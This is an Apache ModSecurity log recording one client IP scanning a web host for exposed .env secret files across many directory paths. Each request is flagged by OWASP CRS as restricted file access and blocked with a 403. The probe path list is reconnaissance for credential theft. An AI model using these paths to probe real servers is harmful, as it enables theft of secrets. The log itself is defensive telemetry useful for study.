[Mon Oct 26 22:24:48.904668 2026] [security2:error] [pid 3143282:tid 3143282] [client 34.17.60.250:38052] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "col1.sherwinpinturas.com"] [uri "/release/.env"] [unique_id "auALcEr8KB7FmjwQ4kVzzgAAAAg"]
[Mon Oct 26 22:24:48.905017 2026] [security2:error] [pid 3143282:tid 3143282] [client 34.17.60.250:38052] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "col1.sherwinpinturas.com"] [uri "/release/.env"] [unique_id "auALcEr8KB7FmjwQ4kVzzgAAAAg"]
[Mon Oct 26 22:24:49.030923 2026] [security2:error] [pid 3143282:tid 3143282] [client 34.17.60.250:38052] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /releases/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "col1.sherwinpinturas.com"] [uri "/releases/.env"] [unique_id "auALcUr8KB7FmjwQ4kVzzwAAAAg"]
[Mon Oct 26 22:24:49.031203 2026] [security2:error] [pid 3143282:tid 3143282] [client 34.17.60.250:38052] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "col1.sherwinpinturas.com"] [uri "/releases/.env"] [unique_id "auALcUr8KB7FmjwQ4kVzzwAAAAg"]
[Mon Oct 26 22:24:49.031512 2026] [security2:error] [pid 3143282:tid 3143282] [client 34.17.60.250:38052] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "col1.sherwinpinturas.com"] [uri "/releases/.env"] [unique_id "auALcUr8KB7FmjwQ4kVzzwAAAAg"]
[Mon Oct 26 22:24:49.162606 2026] [security2:error] [pid 3143282:tid 3143282] [client 34.17.60.250:38052] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /shared/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "col1.sherwinpinturas.com"] [uri "/shared/.env"] [unique_id "auALcUr8KB7FmjwQ4kVz0AAAAAg"]
[Mon Oct 26 22:24:49.162891 2026] [security2:error] [pid 3143282:tid 3143282] [client 34.17.60.250:38052] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "col1.sherwinpinturas.com"] [uri "/shared/.env"] [unique_id "auALcUr8KB7FmjwQ4kVz0AAAAAg"]
[Mon Oct 26 22:24:49.163183 2026] [security2:error] [pid 3143282:tid 3143282] [client 34.17.60.250:38052] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "col1.sherwinpinturas.com"] [uri "/shared/.env"] [unique_id "auALcUr8KB7FmjwQ4kVz0AAAAAg"]
[Mon Oct 26 22:24:49.276365 2026] [security2:error] [pid 3143282:tid 3143282] [client 34.17.60.250:38052] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /deploy/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "col1.sherwinpinturas.com"] [uri "/deploy/.env"] [unique_id "auALcUr8KB7FmjwQ4kVz0QAAAAg"]
[Mon Oct 26 22:24:49.276688 2026] [security2:error] [pid 3143282:tid 3143282] [client 34.17.60.250:38052] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "col1.sherwinpinturas.com"] [uri "/deploy/.env"] [unique_id "auALcUr8KB7FmjwQ4kVz0QAAAAg"]
[Mon Oct 26 22:24:49.277122 2026] [security2:error] [pid 3143282:tid 3143282] [client 34.17.60.250:38052] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "col1.sherwinpinturas.com"] [uri "/deploy/.env"] [unique_id "auALcUr8KB7FmjwQ4kVz0QAAAAg"]
[Mon Oct 26 22:24:49.386651 2026] [security2:error] [pid 3143282:tid 3143282] [client 34.17.60.250:38052] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /build/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "col1.sherwinpinturas.com"] [uri "/build/.env"] [unique_id "auALcUr8KB7FmjwQ4kVz0gAAAAg"]
[Mon Oct 26 22:24:49.386923 2026] [security2:error] [pid 3143282:tid 3143282] [client 34.17.60.250:38052] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "col1.sherwinpinturas.com"] [uri "/build/.env"] [unique_id "auALcUr8KB7FmjwQ4kVz0gAAAAg"]
[Mon Oct 26 22:24:49.387358 2026] [security2:error] [pid 3143282:tid 3143282] [client 34.17.60.250:38052] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "col1.sherwinpinturas.com"] [uri "/build/.env"] [unique_id "auALcUr8KB7FmjwQ4kVz0gAAAAg"]
[Mon Oct 26 22:24:49.507000 2026] [security2:error] [pid 3143282:tid 3143282] [client 34.17.60.250:38052] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /dist/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "col1.sherwinpinturas.com"] [uri "/dist/.env"] [unique_id "auALcUr8KB7FmjwQ4kVz0wAAAAg"]
[Mon Oct 26 22:24:49.507226 2026] [security2:error] [pid 3143282:tid 3143282] [client 34.17.60.250:38052] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "col1.sherwinpinturas.com"] [uri "/dist/.env"] [unique_id "auALcUr8KB7FmjwQ4kVz0wAAAAg"]
[Mon Oct 26 22:24:49.507539 2026] [security2:error] [pid 3143282:tid 3143282] [client 34.17.60.250:38052] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "col1.sherwinpinturas.com"] [uri "/dist/.env"] [unique_id "auALcUr8KB7FmjwQ4kVz0wAAAAg"]
[Mon Oct 26 22:24:49.638534 2026] [security2:error] [pid 3143282:tid 3143282] [client 34.17.60.250:38052] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /public_html/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "col1.sherwinpinturas.com"] [uri "/public_html/.env"] [unique_id "auALcUr8KB7FmjwQ4kVz1AAAAAg"]
[Mon Oct 26 22:24:49.638761 2026] [security2:error] [pid 3143282:tid 3143282] [client 34.17.60.250:38052] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "col1.sherwinpinturas.com"] [uri "/public_html/.env"] [unique_id "auALcUr8KB7FmjwQ4kVz1AAAAAg"]
[Mon Oct 26 22:24:49.639112 2026] [security2:error] [pid 3143282:tid 3143282] [client 34.17.60.250:38052] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "col1.sherwinpinturas.com"] [uri "/public_html/.env"] [unique_id "auALcUr8KB7FmjwQ4kVz1AAAAAg"]
[Mon Oct 26 22:24:49.759463 2026] [security2:error] [pid 3143282:tid 3143282] [client 34.17.60.250:38052] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /htdocs/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "col1.sherwinpinturas.com"] [uri "/htdocs/.env"] [unique_id "auALcUr8KB7FmjwQ4kVz1QAAAAg"]
[Mon Oct 26 22:24:49.759689 2026] [security2:error] [pid 3143282:tid 3143282] [client 34.17.60.250:38052] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "col1.sherwinpinturas.com"] [uri "/htdocs/.env"] [unique_id "auALcUr8KB7FmjwQ4kVz1QAAAAg"]
[Mon Oct 26 22:24:49.760021 2026] [security2:error] [pid 3143282:tid 3143282] [client 34.17.60.250:38052] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "col1.sherwinpinturas.com"] [uri "/htdocs/.env"] [unique_id "auALcUr8KB7FmjwQ4kVz1QAAAAg"]
[Mon Oct 26 22:24:49.901301 2026] [security2:error] [pid 3143282:tid 3143282] [client 34.17.60.250:38052] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /www/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "col1.sherwinpinturas.com"] [uri "/www/.env"] [unique_id "auALcUr8KB7FmjwQ4kVz1gAAAAg"]
[Mon Oct 26 22:24:49.901558 2026] [security2:error] [pid 3143282:tid 3143282] [client 34.17.60.250:38052] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "col1.sherwinpinturas.com"] [uri "/www/.env"] [unique_id "auALcUr8KB7FmjwQ4kVz1gAAAAg"]
[Mon Oct 26 22:24:49.901963 2026] [security2:error] [pid 3143282:tid 3143282] [client 34.17.60.250:38052] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "col1.sherwinpinturas.com"] [uri "/www/.env"] [unique_id "auALcUr8KB7FmjwQ4kVz1gAAAAg"]
[Mon Oct 26 22:24:50.032459 2026] [security2:error] [pid 3143282:tid 3143282] [client 34.17.60.250:38052] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /html/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "col1.sherwinpinturas.com"] [uri "/html/.env"] [unique_id "auALckr8KB7FmjwQ4kVz1wAAAAg"]
[Mon Oct 26 22:24:50.032693 2026] [security2:error] [pid 3143282:tid 3143282] [client 34.17.60.250:38052] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "col1.sherwinpinturas.com"] [uri "/html/.env"] [unique_id "auALckr8KB7FmjwQ4kVz1wAAAAg"]
[Mon Oct 26 22:24:50.033020 2026] [security2:error] [pid 3143282:tid 3143282] [client 34.17.60.250:38052] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "col1.sherwinpinturas.com"] [uri "/html/.env"] [unique_id "auALckr8KB7FmjwQ4kVz1wAAAAg"]
[Mon Oct 26 22:24:50.174254 2026] [security2:error] [pid 3143282:tid 3143282] [client 34.17.60.250:38052] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /live/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "col1.sherwinpinturas.com"] [uri "/live/.env"] [unique_id "auALckr8KB7FmjwQ4kVz2AAAAAg"]
[Mon Oct 26 22:24:50.174495 2026] [security2:error] [pid 3143282:tid 3143282] [client 34.17.60.250:38052] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "col1.sherwinpinturas.com"] [uri "/live/.env"] [unique_id "auALckr8KB7FmjwQ4kVz2AAAAAg"]
[Mon Oct 26 22:24:50.174791 2026] [security2:error] [pid 3143282:tid 3143282] [client 34.17.60.250:38052] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "col1.sherwinpinturas.com"] [uri "/live/.env"] [unique_id "auALckr8KB7FmjwQ4kVz2AAAAAg"]
[Mon Oct 26 22:24:50.303915 2026] [security2:error] [pid 3143282:tid 3143282] [client 34.17.60.250:38052] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /prod/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "col1.sherwinpinturas.com"] [uri "/prod/.env"] [unique_id "auALckr8KB7FmjwQ4kVz2QAAAAg"]
[Mon Oct 26 22:24:50.304141 2026] [security2:error] [pid 3143282:tid 3143282] [client 34.17.60.250:38052] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "col1.sherwinpinturas.com"] [uri "/prod/.env"] [unique_id "auALckr8KB7FmjwQ4kVz2QAAAAg"]
[Mon Oct 26 22:24:50.304524 2026] [security2:error] [pid 3143282:tid 3143282] [client 34.17.60.250:38052] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "col1.sherwinpinturas.com"] [uri "/prod/.env"] [unique_id "auALckr8KB7FmjwQ4kVz2QAAAAg"]
[Mon Oct 26 22:24:50.420958 2026] [security2:error] [pid 3143282:tid 3143282] [client 34.17.60.250:38052] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /dev/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "col1.sherwinpinturas.com"] [uri "/dev/.env"] [unique_id "auALckr8KB7FmjwQ4kVz2gAAAAg"]
[Mon Oct 26 22:24:50.421212 2026] [security2:error] [pid 3143282:tid 3143282] [client 34.17.60.250:38052] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "col1.sherwinpinturas.com"] [uri "/dev/.env"] [unique_id "auALckr8KB7FmjwQ4kVz2gAAAAg"]
[Mon Oct 26 22:24:50.421658 2026] [security2:error] [pid 3143282:tid 3143282] [client 34.17.60.250:38052] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "col1.sherwinpinturas.com"] [uri "/dev/.env"] [unique_id "auALckr8KB7FmjwQ4kVz2gAAAAg"]
[Mon Oct 26 22:24:50.530039 2026] [security2:error] [pid 3143282:tid 3143282] [client 34.17.60.250:38052] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /staging/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "col1.sherwinpinturas.com"] [uri "/staging/.env"] [unique_id "auALckr8KB7FmjwQ4kVz2wAAAAg"]
